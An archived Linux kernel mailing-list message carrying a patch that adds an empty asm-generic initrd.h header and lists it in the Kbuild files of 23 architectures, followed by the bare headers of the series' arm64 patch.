Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540337974 8748 195.159.176.226 (23 Oct 2018 23:39:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 23:39:34 +0000 (UTC)
Cc: "open list:MIPS" <linux-mips@linux-mips.org>,
 Alan Kao <alankao@andestech.com>,
 "open list:SUPERH" <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 "open list:GENERIC INCLUDE/ASM HEADER FILES" <linux-arch@vger.kernel.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Marc Zyngier <marc.zyngier@arm.com>,
 "open list:USER-MODE LINUX UML" <linux-um@lists.infradead.org>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 Matt Redfearn <matt.redfearn@mips.com>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Ba
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 01:39:21 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gF6Ge-0001zf-EU
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 01:39:20 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=DCpLr8n3Weed4P6h58StZhZve/pXlX/MRoj0niino9w=; b=hE9mG4YeylKauLNvqgMbkt4ruu
	l3ccDMDskoPtywGwAi6WdbhW7aN9IWai8MjbNJTuupAgcj9leuOt/GwzcQ2yIwXYiIY5sVlWfAUyb
	oVoqvZ5F4HxBnt3H12WNMRcsQeZRBB4yBVuflQfFDWcTYWTZJFGqTF2jE22mBHLZrsT46dpitcH0H
	2y/+Mc3zpIv929sezdN6kuVIMG0o6b7q/tmMxX67l5tsHRd5Eeprl2uW/DEzd8Ky7k3QSfUVE8c0/
	wj8OLGgC47ZaqXfTRIs2BEqevff22CZKWjUi22/h2lw2AuLdw2sQC3sIFgt1gT2NlNAmhWSP/tvBv
	T3C4uMlQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gF6Ih-0006lk-Vd; Tue, 23 Oct 2018 23:41:28 +0000
Original-Received: from mail-pg1-x544.google.com ([2607:f8b0:4864:20::544])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gF6Ib-0006jJ-D1; Tue, 23 Oct 2018 23:41:23 +0000
Original-Received: by mail-pg1-x544.google.com with SMTP id w3-v6so1388695pgs.11;
 Tue, 23 Oct 2018 16:41:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=Pq3SbMOtnxSRiUv39G2pLKqpO+80vJrLYAw7jgLwqi0=;
 b=SOtzcgbDQQRqIv8sjSXHYWM8Pa7a+AuRto/2mANyNoHiFqB6TYuMdkqcNujN+8uuxM
 wWk+ZVFH4lobhvAiSEyoOEmaA2h5RvJANDafujz0r1NW6xAke9IoOxVyWwTtTdfOeJ1N
 UF56+tI71T0f4T5vFIRpAsvHvfy8JDlUH4XfhJht5HEQKrDxJqAwQeXREp2R2k/bznSQ
 dxLf759Vr0nLnznvqXn6NWniG91dlSqzG91An4xiMjTL6dtC8D9duHyozyWvvlAEvEOb
 GEUnaauIbfB4YMgxTroabvXCQ4b4GsmPNA4wIdj57oUt+YbmRqhJLPxxSEKLcj4OjQ63
 POiA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=Pq3SbMOtnxSRiUv39G2pLKqpO+80vJrLYAw7jgLwqi0=;
 b=IptRpE5tioOPzgNtCIsy5zgnO81REuNYJt02ui8PGKZKU3mRujnmVO9TJXLG42n68I
 30hQqF6yC9EDB2S0XRX6VvTaeE6d11BoYxYbZmtFaSu3OH0uYORs5+RJysXRMCxIb87t
 ZsxZ6dXIHIOsJtKEzo/coyXZaOs+wzN9D0qXSSMaCcMTCrpw/Iqs/7ee+FEPPBvfBS/a
 B11WJp6iwtdQLXU/eFJhBN3UqMP1iPLQHqewXo2PKwNxVBrKXONNyI56UAMl7K11mDAB
 wuEwNF65Ip6t/QbCFvXCi5xqqiYpsyJzNgysXGqLx6n120kpWq4ulaJZRXj0maut+mgG
 sNTw==
X-Gm-Message-State: AGRZ1gJ1Nb9TrM3A7zhZmhZUZvk3O+z1xLejR+/J/J3FVe82bECwd9nj
 1coXfgo+X9JjNB9sZ37JVTY=
X-Google-Smtp-Source: AJdET5dcFE9ran0APIXfIKwqJHwMEkCBdOxUyxu2dalXrrITp9OyAgwV/HkX29ePl741rIGhL0+NiQ==
X-Received: by 2002:a62:8281:: with SMTP id
 w123-v6mr331532pfd.68.1540338070202; 
 Tue, 23 Oct 2018 16:41:10 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
 by smtp.gmail.com with ESMTPSA id a5-v6sm3041223pfo.53.2018.10.23.16.41.05
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 23 Oct 2018 16:41:09 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20181023234044.1138-1-f.fainelli@gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181023_164121_441259_24426C17 
X-CRM114-Status: GOOD (  14.99  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:544 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (f.fainelli[at]gmail.com)
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4597 gmane.linux.kernel:2906457 gmane.linux.ports.mips.general:67151 gmane.linux.ports.sh.devel:57672 gmane.linux.kernel.cross-arch:48031 gmane.linux.ports.ia64:29418 gmane.linux.ports.hexagon:1938 gmane.linux.ports.arm.kernel:681170 gmane.linux.ports.parisc:29219 gmane.linux.ports.alpha:5351 gmane.linux.ports.sparc:28633 gmane.linux.ports.riscv:1180 gmane.linux.drivers.devicetree:294125 gmane.linux.ports.ppc64.devel:164834
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4597>

In preparation for separating the definition of
__early_init_dt_declare_initrd() on ARM64 in order to cut the amount of
files that require a rebuild when CONFIG_BLK_DEV_INITRD value is
changed, introduce an empty asm-generic initrd.h file and update all
architectures but arm64 to make use of it.

Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
---
 arch/alpha/include/asm/Kbuild      | 1 +
 arch/arc/include/asm/Kbuild        | 1 +
 arch/arm/include/asm/Kbuild        | 1 +
 arch/c6x/include/asm/Kbuild        | 1 +
 arch/h8300/include/asm/Kbuild      | 1 +
 arch/hexagon/include/asm/Kbuild    | 1 +
 arch/ia64/include/asm/Kbuild       | 1 +
 arch/m68k/include/asm/Kbuild       | 1 +
 arch/microblaze/include/asm/Kbuild | 1 +
 arch/mips/include/asm/Kbuild       | 1 +
 arch/nds32/include/asm/Kbuild      | 1 +
 arch/nios2/include/asm/Kbuild      | 1 +
 arch/openrisc/include/asm/Kbuild   | 1 +
 arch/parisc/include/asm/Kbuild     | 1 +
 arch/powerpc/include/asm/Kbuild    | 1 +
 arch/riscv/include/asm/Kbuild      | 1 +
 arch/s390/include/asm/Kbuild       | 1 +
 arch/sh/include/asm/Kbuild         | 1 +
 arch/sparc/include/asm/Kbuild      | 1 +
 arch/um/include/asm/Kbuild         | 1 +
 arch/unicore32/include/asm/Kbuild  | 1 +
 arch/x86/include/asm/Kbuild        | 1 +
 arch/xtensa/include/asm/Kbuild     | 1 +
 include/asm-generic/initrd.h       | 1 +
 24 files changed, 24 insertions(+)
 create mode 100644 include/asm-generic/initrd.h

diff --git a/arch/alpha/include/asm/Kbuild b/arch/alpha/include/asm/Kbuild
index 0580cb8c84b2..cd6f723aed1b 100644
--- a/arch/alpha/include/asm/Kbuild
+++ b/arch/alpha/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += compat.h
 generic-y += exec.h
 generic-y += export.h
 generic-y += fb.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/arc/include/asm/Kbuild b/arch/arc/include/asm/Kbuild
index feed50ce89fa..ba18632aa493 100644
--- a/arch/arc/include/asm/Kbuild
+++ b/arch/arc/include/asm/Kbuild
@@ -10,6 +10,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kmap_types.h
diff --git a/arch/arm/include/asm/Kbuild b/arch/arm/include/asm/Kbuild
index 1d66db9c9db5..b91d5b32e64f 100644
--- a/arch/arm/include/asm/Kbuild
+++ b/arch/arm/include/asm/Kbuild
@@ -4,6 +4,7 @@ generic-y += early_ioremap.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += kdebug.h
 generic-y += local.h
diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
index 33a2c94fed0d..9e14cf6e89b4 100644
--- a/arch/c6x/include/asm/Kbuild
+++ b/arch/c6x/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += extable.h
 generic-y += fb.h
 generic-y += futex.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += io.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index a5d0b2991f47..7d4e06a757c8 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -19,6 +19,7 @@ generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hash.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index 47c4da3d64a4..0be62abf2123 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += iomap.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/ia64/include/asm/Kbuild b/arch/ia64/include/asm/Kbuild
index 557bbc8ba9f5..1a1f1e4ba0d5 100644
--- a/arch/ia64/include/asm/Kbuild
+++ b/arch/ia64/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += compat.h
 generic-y += exec.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index a4b8d3331a9e..9903551e0c9c 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -7,6 +7,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += futex.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/microblaze/include/asm/Kbuild b/arch/microblaze/include/asm/Kbuild
index 569ba9e670c1..ec37e6304be5 100644
--- a/arch/microblaze/include/asm/Kbuild
+++ b/arch/microblaze/include/asm/Kbuild
@@ -11,6 +11,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += fb.h
 generic-y += hardirq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/mips/include/asm/Kbuild b/arch/mips/include/asm/Kbuild
index 9a81e72119da..005ef04a4c73 100644
--- a/arch/mips/include/asm/Kbuild
+++ b/arch/mips/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += device.h
 generic-y += dma-contiguous.h
 generic-y += emergency-restart.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_work.h
 generic-y += local64.h
 generic-y += mcs_spinlock.h
diff --git a/arch/nds32/include/asm/Kbuild b/arch/nds32/include/asm/Kbuild
index dbc4e5422550..1400aaf0c840 100644
--- a/arch/nds32/include/asm/Kbuild
+++ b/arch/nds32/include/asm/Kbuild
@@ -25,6 +25,7 @@ generic-y += ftrace.h
 generic-y += gpio.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += ioctl.h
 generic-y += ioctls.h
 generic-y += irq.h
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index 8fde4fa2c34f..d89de02549ee 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -18,6 +18,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/openrisc/include/asm/Kbuild b/arch/openrisc/include/asm/Kbuild
index eb87cd8327c8..296fd55e8473 100644
--- a/arch/openrisc/include/asm/Kbuild
+++ b/arch/openrisc/include/asm/Kbuild
@@ -15,6 +15,7 @@ generic-y += fb.h
 generic-y += ftrace.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 2013d639e735..1382d78a2477 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/powerpc/include/asm/Kbuild b/arch/powerpc/include/asm/Kbuild
index 3196d227e351..e3ea67c30605 100644
--- a/arch/powerpc/include/asm/Kbuild
+++ b/arch/powerpc/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += div64.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += local64.h
diff --git a/arch/riscv/include/asm/Kbuild b/arch/riscv/include/asm/Kbuild
index efdbe311e936..0e67ed69c423 100644
--- a/arch/riscv/include/asm/Kbuild
+++ b/arch/riscv/include/asm/Kbuild
@@ -17,6 +17,7 @@ generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hash.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += ioctl.h
 generic-y += ioctls.h
 generic-y += ipcbuf.h
diff --git a/arch/s390/include/asm/Kbuild b/arch/s390/include/asm/Kbuild
index e3239772887a..dc618745d427 100644
--- a/arch/s390/include/asm/Kbuild
+++ b/arch/s390/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += export.h
 generic-y += fb.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kmap_types.h
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 6a5609a55965..c006a7cf3a43 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += local.h
diff --git a/arch/sparc/include/asm/Kbuild b/arch/sparc/include/asm/Kbuild
index 410b263ef5c8..a5772c2a96c8 100644
--- a/arch/sparc/include/asm/Kbuild
+++ b/arch/sparc/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += div64.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += linkage.h
diff --git a/arch/um/include/asm/Kbuild b/arch/um/include/asm/Kbuild
index b10dde6cb793..032cfe1b530b 100644
--- a/arch/um/include/asm/Kbuild
+++ b/arch/um/include/asm/Kbuild
@@ -12,6 +12,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += io.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
diff --git a/arch/unicore32/include/asm/Kbuild b/arch/unicore32/include/asm/Kbuild
index 1372553dc0a9..32e7dea45fcd 100644
--- a/arch/unicore32/include/asm/Kbuild
+++ b/arch/unicore32/include/asm/Kbuild
@@ -13,6 +13,7 @@ generic-y += ftrace.h
 generic-y += futex.h
 generic-y += hardirq.h
 generic-y += hw_irq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/arch/x86/include/asm/Kbuild b/arch/x86/include/asm/Kbuild
index a0ab9ab61c75..290bd1c3ee2d 100644
--- a/arch/x86/include/asm/Kbuild
+++ b/arch/x86/include/asm/Kbuild
@@ -9,5 +9,6 @@ generated-y += xen-hypercalls.h
 generic-y += dma-contiguous.h
 generic-y += early_ioremap.h
 generic-y += export.h
+generic-y += initrd.h
 generic-y += mcs_spinlock.h
 generic-y += mm-arch-hooks.h
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 82c756431b49..f2c363f2d22a 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -9,6 +9,7 @@ generic-y += exec.h
 generic-y += extable.h
 generic-y += fb.h
 generic-y += hardirq.h
+generic-y += initrd.h
 generic-y += irq_regs.h
 generic-y += irq_work.h
 generic-y += kdebug.h
diff --git a/include/asm-generic/initrd.h b/include/asm-generic/initrd.h
new file mode 100644
index 000000000000..b1a49677fe25
--- /dev/null
+++ b/include/asm-generic/initrd.h
@@ -0,0 +1 @@
+/* no content, but patch(1) dislikes empty files */
-- 
2.17.1

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.drivers.devicetree,gmane.linux.ports.ppc64.devel
Subject: [PATCH 2/2] arm64: Create asm/initrd.h
Date: Tue, 23 Oct 2018 16:40:43 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20181023234044.1138-3-f.fainelli@gmail.com>
References: <20181023234044.1138-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540337983 9463 195.159.176.226 (23 Oct 2018 23:39:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 23:39:43 +0000 (UTC)
Cc: "open list:MIPS" <linux-mips@linux-mips.org>,
 Alan Kao <alankao@andestech.com>,
 "open list:SUPERH" <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 "open list:GENERIC INCLUDE/ASM HEADER FILES" <linux-arch@vger.kernel.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Marc Zyngier <marc.zyngier@arm.com>,
 "open list:USER-MODE LINUX UML" <linux-um@lists.infradead.org>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 Matt Redfearn <matt.redfearn@mips.com>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Ba
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 01:39:30 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gF6Go-0002BJ-Hb
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 01:39:30 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=nEK12TwimGCujNUldIGwHId5Lafwq/X4Yeeo8waJe0Y=; b=XvpWVU3GaKopasRjOYAevt8ZXl
	bUlc/zfAjWmj5FAptuJQ7d7pKjVdwpSZTFw5WgP9jV7LEQQ0Y9ixVS6IszQFJuKuW2CcarfrgYkq9
	GZN0ZgNLePqnImUL0Xua7aklkdO72hDScLu4bmuHOj8LJ7uCfqQ/4cM0zlEXf4LhTXRkYVYuhCHSF
	2usBwAV5hF8uuvavFCs/k/0WdtGTn8nKwIz2PeSGuU8+EshQGZJC49R0sbIzNK6Co0RE5MWFILubo
	n5zXa825YxNlNhuQZ6aVIB6+x1Tg2sAKfb3SpWscEjaGNJt1eSuPwWoN/f2HEVr35Iq8fr8fW65FI
	zk3U5V9A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gF6It-0006qZ-EX; Tue, 23 Oct 2018 23:41:39 +0000
Original-Received: from mail-pl1-x644.google.com ([2607:f8b0:4864:20::644])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gF6Ig-0006jW-83; Tue, 23 Oct 2018 23:41:32 +0000
Original-Received: by mail-pl1-x644.google.com with SMTP id t6-v6so1319532plo.9;
 Tue, 23 Oct 2018 16:41:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=R7GnanBC/dUP1yUUX1JKpyThiE0iCRjX5YFPvjRZfCc=;
 b=kr72YR3Z6fsjpNCQWKAq8biRV5Ky6WEsLzLAKNjvGEXzVo0OLzZj/axxUcLvMsJljv
 GAUecWqvxnSaid8cy+tamZPG6VAbzIplkizh2XlS5+LjIS+KIZ1qIL24fEwrjS9qrQUb
 EIrpmsjuQqewtt8fFJdBuF7YeJ4v/DEjRBMn+gRA3PAzMbtYHLpSYsorIdL2fqgRdb8C
 jErR59hy7OjxBnoL5lFmGHiO/fgShVOHMM1Opsl0Z0i099qHGHgcQjLIKmx57lbmB3GZ
 krgLeNTNlj6Hdsvo4Fwc2fmHtk++Ag4dtLCP4cPAzhB5giHxiZf/r9Wv8RZmhadPX5Ok
 Ab7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=R7GnanBC/dUP1yUUX1JKpyThiE0iCRjX5YFPvjRZfCc=;
 b=UxHFjrCF1CTz6Adt5w6wotGcP3WyJYRk2gDBgE9nWFWIeKs2nlxgsbepYnedZytfnr
 lHUeTKpmGBijl03Piw0jcwT6kAtxe1kqC83hJ0r94ssWLlBQNN+SLH7jFz0v9y9Jo6Bx
 zTMfbGsI4tMQYiZpQgG+WjTuedc86hRXhp6/mb+3xGMPDZX1Z38NkINuhqB3ENUQa1ur
 /OrDI38m90/Xz2SJkvMJ3J6q0yCd4rpEGLhzuX5u9rxoECG0bvSYB2b9gv1i96FUsvlf
 XhQ8SH5NmYtQnflvJ2rYr+vCL4fcKQPtqdtFfXUBc0uaUcaQm3rGY2IY7Bx3EZ5Sjsmm
 CKlg==
X-Gm-Message-State: AGRZ1gJGMDJIE0HPM+n6on3fE1tSvhGNW+X3zoTFXCKS0IRSkCpl68Qf
 ExbXYox3yK5L/NExXUDKwsM=
X-Google-Smtp-Source: AJdET5e9VIZyzA2DLtMJxPKaSvJZGY+8cFNaWYDcR0p+L+8OVN2SKkA/Vmncd/1gNmmLya56CR05hA==
X-Received: by 2002:a17:902:e81:: with SMTP id
 1-v6mr295267plx.314.1540338075086; 
 Tue, 23 Oct 2018 16:41:15 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
 by smtp.gmail.com with ESMTPSA id a5-v6sm3041223pfo.53.2018.10.23.16.41.10
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 23 Oct 2018 16:41:13 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20181023234044.1138-1-f.fainelli@gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181023_164126_329859_B9EA7B35 
X-CRM114-Status: GOOD (  17.55  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:644 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (f.fainelli[at]gmail.com)
